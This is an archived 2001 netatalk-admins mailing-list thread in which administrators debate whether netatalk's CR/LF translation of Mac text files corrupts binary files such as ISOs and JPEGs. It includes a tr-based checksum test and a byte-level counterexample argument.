To: Steve Freitas <sflist@ihonk.com>
cc: Matthew Geier <matthew@arts.usyd.edu.au>, netatalk-admins@umich.edu,
        jeff <jeff@univrel.pr.uconn.edu>
Subject: Re: CRLF fun stuff again... 
In-reply-to: Your message of "Fri, 09 Feb 2001 13:34:14 PST."
Date: Fri, 09 Feb 2001 23:38:03 +0000
Message-ID: <22332.981761883@dis.strath.ac.uk>
From: Duncan Sinclair <sinclair@dis.strath.ac.uk>

Hi,

>Someone (sorry, can't remember who) wrote:
>> It is worth noting that the Samba team have point blank refused to add
>> any form of 'translation' to Samba. It serves files exactly 'as is'.

What Samba does is of no great consequence to me.  But I will say
that Windows' CR&LF at least allows files to be manipulated
fairly easy on the Unix side.

Steve Freitas writes:
>I think that is absolutely the right thing to do. I've had this CR/LF thing
>munge up whole ISOs for me, even when it's turned off.

How????

>When you've got to remember to add a line to AppleVolumes.system just to
>keep a file with a new suffix from being corrupted, that's just bad.

Doesn't cr/lf need to be explicitly turned on the in the options
for the share?  But maybe the default AppleVolumes.system wants
to be changed too.  My AppleVolumes.system file has commentary on
this issue that doesn't seem to be in the current version:

 # default translation -- note that CR <-> LF translation is done on all
 # files of type TEXT.  The first line turns off translation for files of
 # unknown type, the second turns this translation on.
 # .       BINA    UNIX
 # .       TEXT    UNIX

The AppleVolumes.system really should be split into two different
files - one with the actual volume info, and a second one for
files types.  I can't remember - can these settings be changed on
a per-share basis?  (Maybe they should even be settable on a
per-directory basis (a la Apache .htaccess file.)

I'll repeat again my position:  if netatalk is going to have this
feature, and there's evidence that people want it, then it should
work properly.  People who don't want this feature should be
unaffected by it.

Cheers,


Duncan.


From netatalk.administrators-errors@umich.edu  Fri Feb  9 19:09:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA26319
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 9 Feb 2001 19:09:31 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA10516
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 9 Feb 2001 19:09:31 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA10493
	for netatalk.administrators-members@umich.edu; Fri, 9 Feb 2001 19:09:30 -0500 (EST)
Received: from logan.ucdavis.edu (logan.ucdavis.edu [169.237.105.35])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA10455
	for <netatalk-admins@umich.edu>; Fri, 9 Feb 2001 19:09:28 -0500 (EST)
Received: from localhost (itlm019@localhost [127.0.0.1])
	by logan.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f1A094f01112;
	Fri, 9 Feb 2001 16:09:04 -0800 (PST)
Date: Fri, 9 Feb 2001 16:09:04 -0800 (PST)
From: Marc Miller <itlm019@mailbox.ucdavis.edu>
X-Sender: itlm019@logan.ucdavis.edu
To: Duncan Sinclair <sinclair@dis.strath.ac.uk>
cc: Steve Freitas <sflist@ihonk.com>, Matthew Geier <matthew@arts.usyd.edu.au>,
        netatalk-admins@umich.edu, jeff <jeff@univrel.pr.uconn.edu>
Subject: Re: CRLF fun stuff again... 
In-Reply-To: <22332.981761883@dis.strath.ac.uk>
Message-ID: <Pine.GSO.4.21.0102091601130.21725-100000@logan.ucdavis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 9 Feb 2001, Duncan Sinclair wrote:

> Steve Freitas writes:
> >I think that is absolutely the right thing to do. I've had this CR/LF thing
> >munge up whole ISOs for me, even when it's turned off.
> 
> How????

The right sequence of binary code will translate to MacOS linefeed.  If
netatalk intercepts this and translates it to a Unix linefeed, it has just
rewritten a binary file, perhaps even rewritten a program as it's being
copied.  

> The AppleVolumes.system really should be split into two different
> files - one with the actual volume info, and a second one for
> files types.  I can't remember - can these settings be changed on
> a per-share basis?  (Maybe they should even be settable on a
> per-directory basis (a la Apache .htaccess file.)

AppleVolumes.default has the volume info.  The .AppleVolumes file in the
user's home directory overrides that default if present.

> I'll repeat again my position:  if netatalk is going to have this
> feature, and there's evidence that people want it, then it should
> work properly.  People who don't want this feature should be
> unaffected by it.

I agree.  But if MacOS no longer specifies whether the data is binary or
text when it's being copied in the first place, there's nothing netatalk
can do about it.  If we write a complex algorithm to analyze the file
looking for non-alphanumeric characters in an attempt to determine whether
the file is text or binary, we slow down afpd significantly.  

My suggestion:  talk to Apple.  Get their client side to properly declare
whether the AppleShare transfer is text or binary when it's being copied
and CR/LF will work just fine as is and without damaging binary files.

============================================================
	/\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
	Computer Room Consultant
	Information Technology/Lab Management
============================================================
I can be contacted through the Communication Center link from
http://www.mother.com/~mjmiller/


From netatalk.administrators-errors@umich.edu  Sat Feb 10 02:07:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA04898
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Feb 2001 02:07:33 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA02416
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Feb 2001 02:07:26 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA02399
	for netatalk.administrators-members@umich.edu; Sat, 10 Feb 2001 02:07:25 -0500 (EST)
Received: from icompute.com ([209.46.8.66])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA02362
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 02:07:24 -0500 (EST)
Received: from [209.46.8.69] (209.46.8.69) by icompute.com with ESMTP (Eudora
 Internet Mail Server 2.2.2); Sat, 10 Feb 2001 01:07:19 -0600
X-Sender: donlee_in@icompute.com
Message-Id: <v03130301b6aa939c7a3d@[209.46.8.69]>
In-Reply-To: <22332.981761883@dis.strath.ac.uk>
References: Your message of "Fri, 09 Feb 2001 13:34:14 PST."
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 10 Feb 2001 01:07:09 -0600
To: Duncan Sinclair <sinclair@dis.strath.ac.uk>,
        Steve Freitas <sflist@ihonk.com>
From: Donald Lee <donlee_nat@icompute.com>
Subject: Re: CRLF fun stuff again...
Cc: Matthew Geier <matthew@arts.usyd.edu.au>, netatalk-admins@umich.edu,
        jeff <jeff@univrel.pr.uconn.edu>

At 5:38 PM -0600 2/9/01, Duncan Sinclair wrote:
>>When you've got to remember to add a line to AppleVolumes.system just to
>>keep a file with a new suffix from being corrupted, that's just bad.
>
>Doesn't cr/lf need to be explicitly turned on the in the options
>for the share?  But maybe the default AppleVolumes.system wants
>to be changed too.  My AppleVolumes.system file has commentary on
>this issue that doesn't seem to be in the current version:
>
> # default translation -- note that CR <-> LF translation is done on all
> # files of type TEXT.  The first line turns off translation for files of
> # unknown type, the second turns this translation on.
> # .       BINA    UNIX
> # .       TEXT    UNIX
>
>The AppleVolumes.system really should be split into two different
>files - one with the actual volume info, and a second one for
>files types.  I can't remember - can these settings be changed on
>a per-share basis?  (Maybe they should even be settable on a
>per-directory basis (a la Apache .htaccess file.)
>
>I'll repeat again my position:  if netatalk is going to have this
>feature, and there's evidence that people want it, then it should
>work properly.  People who don't want this feature should be
>unaffected by it.

The problem with this feature is three fold.  For one, it is not clear to
me that an algorithm can be devised that can be reliable.  Two, the
conversion is not reversible, and three, the conversion (i.e. corruption)
is absolutely silent.

The first problem is
really much more serious and fundamental than it appears.  That is
that there is really no way to know, reliably, that a file is of type TEXT.

This is because the file type is not intrinsic to the the data.

A good example of this is some applications (ref: archives) that
write out the data *first* and *then* change the type to "text".

The converse also happens.  There are utilities that use TEXT
as their file types that are not TEXT at all.  (most of these, I
admit, are programmer/geek tools)

One _could_ come up with ways to deal with this, but I'm not at all
convinced that they will be "correct".  For instance, do you *really* want
to make netatalk rip through a given file and change all the returns
to linefeeds any time the file type changes to text?  Do you want to
do this even though the conversion is *not* reversible?

If a file type changes from text to something else, do you want to
rip through and change all the linefeeds to returns?

If the cr/lf conversion were symmetric, it would not bother me
so much, but a file that is incorrectly "converted" is utter
trash.  There is no way to take a binary file that has been "converted"
and figure out which of the linefeeds used to be returns.

The third problem is serious when you consider that the potential corruption
of the first two are fatal to your data, and there is no way for netatalk
to know (or report) that you just lost your data.  One could put in
"safety" checks in the conversion code.  For instance, you could check
if a file being converted has any high-bits turned on (a sure sign that it's
not 7-bit ASCII).  OK, what do you *do*???  Would netatalk produce an I/O
error at this point?  Would it simply stop converting?  There is no
clean way to deal with this.


The upshot of all this is that the feature may or may not be useful,
but it is **DANGEROUS** if not fully understood and very carefully used,
and I don't think it is possible to make it safe and reliable.

-dgl-



From netatalk.administrators-errors@umich.edu  Sat Feb 10 05:11:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA07304
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Feb 2001 05:11:56 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA04909
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Feb 2001 05:11:55 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA04895
	for netatalk.administrators-members@umich.edu; Sat, 10 Feb 2001 05:11:55 -0500 (EST)
Received: from ns1.ihonk.com ([216.237.145.12])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA04858
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 05:11:53 -0500 (EST)
Received: from [192.168.0.2] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by ns1.ihonk.com (Postfix) with ESMTP
	id F31555F83C; Sat, 10 Feb 2001 02:11:52 -0800 (PST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sat, 10 Feb 2001 02:12:06 -0800
Subject: Re: CRLF fun stuff again... 
From: Steve Freitas <sflist@ihonk.com>
To: Duncan Sinclair <sinclair@dis.strath.ac.uk>
Cc: Matthew Geier <matthew@arts.usyd.edu.au>, <netatalk-admins@umich.edu>,
        jeff <jeff@univrel.pr.uconn.edu>
Message-ID: <B6AA53F5.1362%sflist@ihonk.com>
In-Reply-To: <22332.981761883@dis.strath.ac.uk>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi.

> What Samba does is of no great consequence to me.  But I will say
> that Windows' CR&LF at least allows files to be manipulated
> fairly easy on the Unix side.

Duncan, I think the point of mentioning Samba's design is related to the
credibility of their approach. That is, some Very Smart People designed
Samba, and Samba is vastly more widely deployed in production use than
Netatalk. Therefore, there is a high probability that their designs are
correct for the majority of users. This is an issue for all cross-platform
file servers, and their conclusion carries heavy credibility.

>> I think that is absolutely the right thing to do. I've had this CR/LF thing
>> munge up whole ISOs for me, even when it's turned off.
> 
> How????

I detailed this in earlier posts. I'm using 1.5pre3 from Mac OS 8.6. The
short version, if I can remember correctly:

1. I had no CR/LF enabled for the share. Other config files were as default.

2. I took a file on the Mac, duplicated it and gave the files these two
names: "test.iso" and "test.jpg".

3. I checksummed both files on the Mac, then copied them to the Netatalk
volume. I then checksummed them again on the Linux box. Test.jpg was
unchanged, while test.iso had changed.

4. I added a .iso entry to AppleVolumes.system, and that solved it for .iso.

(Disclaimer: This was a while ago and very convoluted, so for the actual
results, check the archives. My mail blew up a few weeks ago and I've lost
all my archives, so I can't refer you to it.)

>> When you've got to remember to add a line to AppleVolumes.system just to
>> keep a file with a new suffix from being corrupted, that's just bad.
> 
> Doesn't cr/lf need to be explicitly turned on the in the options
> for the share?  But maybe the default AppleVolumes.system wants
> to be changed too.  My AppleVolumes.system file has commentary on
> this issue that doesn't seem to be in the current version:

I don't know... I discussed it with the list, but everybody I talked to
seemed to think that CR/LF was off, and in fact when I explicitly tested its
functionality, it was off. However, Netatalk was definitely fiddling with my
ISO and corrupting it through linefeeds, and my experimentation showed that.

> I'll repeat again my position:  if netatalk is going to have this
> feature, and there's evidence that people want it, then it should
> work properly.  People who don't want this feature should be
> unaffected by it.

If it's possible for it to work properly, I agree. However, my concern is
that Netatalk's default configuration (1.5prex) currently permits corruption
of binaries, and I think all CR/LF ought to be disabled by default.

Steve


From netatalk.administrators-errors@umich.edu  Sat Feb 10 05:19:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA07513
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Feb 2001 05:19:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA15150
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Feb 2001 05:19:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA15129
	for netatalk.administrators-members@umich.edu; Sat, 10 Feb 2001 05:19:07 -0500 (EST)
Received: from quartz.dis.strath.ac.uk (quartz.dis.strath.ac.uk [130.159.120.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA15089
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 05:19:05 -0500 (EST)
Received: from dis.strath.ac.uk (localhost [127.0.0.1])
	by quartz.dis.strath.ac.uk (8.11.0/8.11.0/2.7) with ESMTP id f1AAIqZ24646;
	Sat, 10 Feb 2001 10:18:52 GMT
To: Donald Lee <donlee_nat@icompute.com>
cc: Steve Freitas <sflist@ihonk.com>, Matthew Geier <matthew@arts.usyd.edu.au>,
        netatalk-admins@umich.edu, jeff <jeff@univrel.pr.uconn.edu>
Subject: Re: CRLF fun stuff again... 
In-reply-to: Your message of "Sat, 10 Feb 2001 01:07:09 CST."
Date: Sat, 10 Feb 2001 10:18:52 +0000
Message-ID: <24644.981800332@dis.strath.ac.uk>
From: Duncan Sinclair <sinclair@dis.strath.ac.uk>

Hi Folks,

I've received a number of emails about all this stuff.  This is the
only one I think really _needs_ a reply...

Donald Lee writes:
>At 5:38 PM -0600 2/9/01, Duncan Sinclair wrote:
>>I'll repeat again my position:  if netatalk is going to have this
>>feature, and there's evidence that people want it, then it should
>>work properly.  People who don't want this feature should be
>>unaffected by it.
>
>The problem with this feature is three fold.  For one, it is not clear to
>me that an algorithm can be devised that can be reliable.  Two, the
>conversion is not reversible, and three, the conversion (i.e. corruption)
>is absolutely silent.

Let's address these points then...

>The first problem is
>really much more serious and fundamental than it appears.  That is
>that there is really no way to know, reliably, that a file is of type TEXT.

You know a file is text by two indicators:
  1) Its file type is TEXT.
  2) It has an extension which tells netatalk it is text.

These two indicators cover files created by Macs and files created
by Unix, repectively.

With a Mac-created file you can change the extension as much as you
want and it will not change how netatalk interprets the file.  Only
if it is marked as "TEXT" will the cr/lf transformation be used.

With a unix created file, netatalk doesn't know if it is text or not,
so it uses the extension to decide whether to do a transform or not.
If a unix file is edited on a Mac it becomes a Mac file at this point.

>This is because the file type is not intrinsic to the the data.

True.

>A good example of this is some applications (ref: archives) that
>write out the data *first* and *then* change the type to "text".

My suggested enhancement to netatalk would catch this and do the conversion
on the fly.

>The converse also happens.  There are utilities that use TEXT
>as their file types that are not TEXT at all.  (most of these, I
>admit, are programmer/geek tools)

This should not matter.  The transformation is reversable and so
is transparent to the Mac application.

>One _could_ come up with ways to deal with this, but I'm not at all
>convinced that they will be "correct".  For instance, do you *really* want
>to make netatalk rip through a given file and change all the returns
>to linefeeds any time the file type changes to text?

Yes.  And all the linefeeds to returns.

>Do you want to
>do this even though the conversion is *not* reversible?

But the transformation is reversible.  the conversion is as follows:

  CR -> LF
  LF -> CR

You do the transformation twice and you get back an identical file.

>If a file type changes from text to something else, do you want to
>rip through and change all the linefeeds to returns?

Yes.  Change all the linefeeds to returns, and all the returns to
linefeeds.

>If the cr/lf conversion were symmetric, it would not bother me
>so much, but a file that is incorrectly "converted" is utter
>trash.  There is no way to take a binary file that has been "converted"
>and figure out which of the linefeeds used to be returns.

It's a transformation, not a conversion and it is symmetric.

>The third problem is serious when you consider that the potential corruption
>of the first two are fatal to your data, and there is no way for netatalk
>to know (or report) that you just lost your data.  One could put in
>"safety" checks in the conversion code.  For instance, you could check
>if a file being converted has any high-bits turned on (a sure sign that it's
>not 7-bit ASCII).  OK, what do you *do*???  Would netatalk produce an I/O
>error at this point?  Would it simply stop converting?  There is no
>clean way to deal with this.

If it's handled right you never get corrupted files.  You don't (and,
yes, shouldn't want to) go checking to see if the file "looks" like
text.

>The upshot of all this is that the feature may or may not be useful,
>but it is **DANGEROUS** if not fully understood and very carefully used,
>and I don't think it is possible to make it safe and reliable.

Well I think it can be fixed to make it safe and reliable.

Cheers,


Duncan.


From netatalk.administrators-errors@umich.edu  Sat Feb 10 05:26:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA07609
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Feb 2001 05:26:52 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA26364
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Feb 2001 05:26:52 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA26347
	for netatalk.administrators-members@umich.edu; Sat, 10 Feb 2001 05:26:51 -0500 (EST)
Received: from ns1.ihonk.com ([216.237.145.12])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA26320
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 05:26:50 -0500 (EST)
Received: from [192.168.0.2] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by ns1.ihonk.com (Postfix) with ESMTP
	id 06ED25F83C; Sat, 10 Feb 2001 02:26:50 -0800 (PST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sat, 10 Feb 2001 02:27:02 -0800
Subject: Re: CRLF fun stuff again... 
From: Steve Freitas <sflist@ihonk.com>
To: Duncan Sinclair <sinclair@dis.strath.ac.uk>,
        Donald Lee <donlee_nat@icompute.com>
Cc: Matthew Geier <matthew@arts.usyd.edu.au>, <netatalk-admins@umich.edu>,
        jeff <jeff@univrel.pr.uconn.edu>
Message-ID: <B6AA5775.1368%sflist@ihonk.com>
In-Reply-To: <24644.981800332@dis.strath.ac.uk>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> But the transformation is reversible.  the conversion is as follows:
> 
> CR -> LF
> LF -> CR
> 
> You do the transformation twice and you get back an identical file.

Not true with all files. Some CR-based files have some LFs in there for
other purposes. When your conversion turns all CRs into LFs, you've wiped
out the ability to turn the LFs back to CRs without disturbing the original
LFs. All LFs become CRs, and your data is corrupted. That's why this
transformation qualifies as high-potential corruption when applied to
anything but a text file. And we cannot always be sure what is text and what
is not, which means this is unsolvable.

Steve


From netatalk.administrators-errors@umich.edu  Sat Feb 10 06:02:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA08275
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Feb 2001 06:02:26 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA21082
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Feb 2001 06:02:19 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA21078
	for netatalk.administrators-members@umich.edu; Sat, 10 Feb 2001 06:02:18 -0500 (EST)
Received: from latimer.mail.uk.easynet.net (latimer.mail.uk.easynet.net [195.40.1.40])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA21068
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 06:02:17 -0500 (EST)
Received: from fe.int.nan.co.uk (mail.network-analysis.ltd.uk [212.135.212.98])
	by latimer.mail.uk.easynet.net (Postfix) with ESMTP id C5AC353632
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 11:02:23 +0000 (GMT)
Received: by mailhost.int.nan.co.uk (sendmail 8.11.2)
          with ESMTP id f1AB3L909224;
          Sat, 10 Feb 2001 11:03:21 GMT
Mime-Version: 1.0
X-Sender: sw@mailhost.int.nan.co.uk
Message-Id: <p04330101b6aacf2f8e25@[192.168.195.62]>
In-Reply-To: <24644.981800332@dis.strath.ac.uk>
References: <24644.981800332@dis.strath.ac.uk>
X-Mailer: Eudora Pro 4.3
Organization: Network Analysis Ltd
Date: Sat, 10 Feb 2001 11:03:19 +0000
To: netatalk-admins@umich.edu
From: Sak Wathanasin <sw@nan.co.uk>
Subject: Re: CRLF fun stuff again...
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

In reply to Duncan Sinclair's message of the 10/02/2001 at 10:18 +0000,


>  >The converse also happens.  There are utilities that use TEXT
>>as their file types that are not TEXT at all.  (most of these, I
>>admit, are programmer/geek tools)
>
>This should not matter.  The transformation is reversable and so
>is transparent to the Mac application.
>
>...
>
>Yes.  And all the linefeeds to returns.
>
>>Do you want to
>>do this even though the conversion is *not* reversible?
>
>But the transformation is reversible.  the conversion is as follows:

No it isn't, not if the file was a binary file in the first place. 
Think of a binary pixmap embedded in a PS file. There will some bytes 
in the pixmap that are \0x0A that should not be converted to CRs.
-- 
Sak Wathanasin
Network Analysis Limited
178 Wainbody Ave South, Coventry CV3 6BX, UK

Internet: sw@nan.co.uk
Phone: (+44) 24 76 41 99 96        Mobile: (+44) 79 70 75 19 12 
Fax: (+44) 24 76 69 06 90

From netatalk.administrators-errors@umich.edu  Sat Feb 10 06:11:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA08441
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Feb 2001 06:11:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA26463
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Feb 2001 06:11:46 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA26451
	for netatalk.administrators-members@umich.edu; Sat, 10 Feb 2001 06:11:45 -0500 (EST)
Received: from quartz.dis.strath.ac.uk (quartz.dis.strath.ac.uk [130.159.120.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA26433
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 06:11:44 -0500 (EST)
Received: from dis.strath.ac.uk (localhost [127.0.0.1])
	by quartz.dis.strath.ac.uk (8.11.0/8.11.0/2.7) with ESMTP id f1ABBeZ25069;
	Sat, 10 Feb 2001 11:11:40 GMT
To: Steve Freitas <sflist@ihonk.com>
cc: Donald Lee <donlee_nat@icompute.com>,
        Matthew Geier <matthew@arts.usyd.edu.au>, netatalk-admins@umich.edu,
        jeff <jeff@univrel.pr.uconn.edu>
Subject: Re: CRLF fun stuff again... 
In-reply-to: Your message of "Sat, 10 Feb 2001 02:27:02 PST."
Date: Sat, 10 Feb 2001 11:11:40 +0000
Message-ID: <25067.981803500@dis.strath.ac.uk>
From: Duncan Sinclair <sinclair@dis.strath.ac.uk>

Hi,

Sorry for the continuing mailbox pollution...

Steve Freitas writes:
>I wrote:
>> But the transformation is reversible.  the conversion is as follows:
>> 
>> CR -> LF
>> LF -> CR
>> 
>> You do the transformation twice and you get back an identical file.
>
>Not true with all files.

Yes true for all files.  No matter what the 8-bit values "13" and "10"
mean, you can do this swap twice and you'll get back the exact same
file.

Here's a test with a binary jpeg file....

  (Using GNU tr - Sun's "tr" doesn't cope with binary files - if you
  repeat this test make sure you use one that does.)

quartz:~% sum duncan.jpg
32290    17 duncan.jpg

Original file's checksum is 32290

quartz:~% tr '\r\n' '\n\r' < duncan.jpg > foo.jpg
quartz:~% sum foo.jpg
13378    17 foo.jpg

Transform once, checksum is 13378

quartz:~% tr '\r\n' '\n\r' < foo.jpg > bar.jpg
quartz:~% sum bar.jpg
32290    17 bar.jpg

Transform a second time, checksum is back to 32290

Convinced yet???

Cheers,


Duncan.


From netatalk.administrators-errors@umich.edu  Sat Feb 10 08:35:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA10647
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Feb 2001 08:35:47 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA07915
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 10 Feb 2001 08:35:47 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA07897
	for netatalk.administrators-members@umich.edu; Sat, 10 Feb 2001 08:35:46 -0500 (EST)
Received: from sowrong.org (syr-24-24-23-149.twcny.rr.com [24.24.23.149])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA07855
	for <netatalk-admins@umich.edu>; Sat, 10 Feb 2001 08:35:45 -0500 (EST)
Received: (from cjc26@localhost)
	by sowrong.org (8.11.0/8.11.0) id f1ADZiQ14507
	for netatalk-admins@umich.edu; Sat, 10 Feb 2001 08:35:44 -0500 (EST)
Date: Sat, 10 Feb 2001 08:35:44 -0500
From: Cliff Crawford <cjc26@cornell.edu>
To: netatalk-admins@umich.edu
Subject: Re: CRLF fun stuff again...
Message-ID: <20010210083544.A14484@cornell.edu>
References: <25067.981803500@dis.strath.ac.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <25067.981803500@dis.strath.ac.uk>; from sinclair@dis.strath.ac.uk on Sat, Feb 10, 2001 at 11:11:40AM +0000

* Duncan Sinclair <sinclair@dis.strath.ac.uk> menulis:
> >> But the transformation is reversible.  the conversion is as follows:
> >> 
> >> CR -> LF
> >> LF -> CR
> >> 
> >> You do the transformation twice and you get back an identical file.
> >
> >Not true with all files.
> 
> Yes true for all files.  No matter what the 8-bit values "13" and "10"
> mean, you can do this swap twice and you'll get back the exact same
> file.

That's NOT true.  Suppose you had a file with the following data in it:

43 0A A2 7B 0D DD 38 0A 8E 0D 43 2F
   ^^                ^^

There are two LFs already in the file (I underlined them above).  Now do
CR->LF conversion:

43 0A A2 7B 0A DD 38 0A 8E 0A 43 2F

And now try to convert back:

43 0D A2 7B 0D DD 38 0D 8E 0D 43 2F
   ^^                ^^

The two LFs that were originally in the file have been converted into
CRs.  There is NO way to tell that they were originally LFs.  The file
is now irreparably corrupted.


> Here's a test with a binary jpeg file....
> 
>   (Using GNU tr - Sun's "tr" doesn't cope with binary files - if you
>   repeat this test make sure you use one that does.)
> 
> quartz:~% sum duncan.jpg
> 32290    17 duncan.jpg
> 
> Original file's checksum is 32290
> 
> quartz:~% tr '\r\n' '\n\r' < duncan.jpg > foo.jpg
> quartz:~% sum foo.jpg
> 13378    17 foo.jpg
> 
> Transform once, checksum is 13378
> 
> quartz:~% tr '\r\n' '\n\r' < foo.jpg > bar.jpg
> quartz:~% sum bar.jpg
> 32290    17 bar.jpg
> 
> Transform a second time, checksum is back to 32290
> 
> Convinced yet???

No.  You must have got lucky and used a file which didn't have 0x0A in
it.


-- 
Cliff Crawford               http://www.people.cornell.edu/pages/cjc26/
                             print "Just another Python hacker"

From netatalk.administrators-errors@umich.edu  Sat Feb 10 09:38:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA11523
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 10 Feb 2001 09:38:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA02347
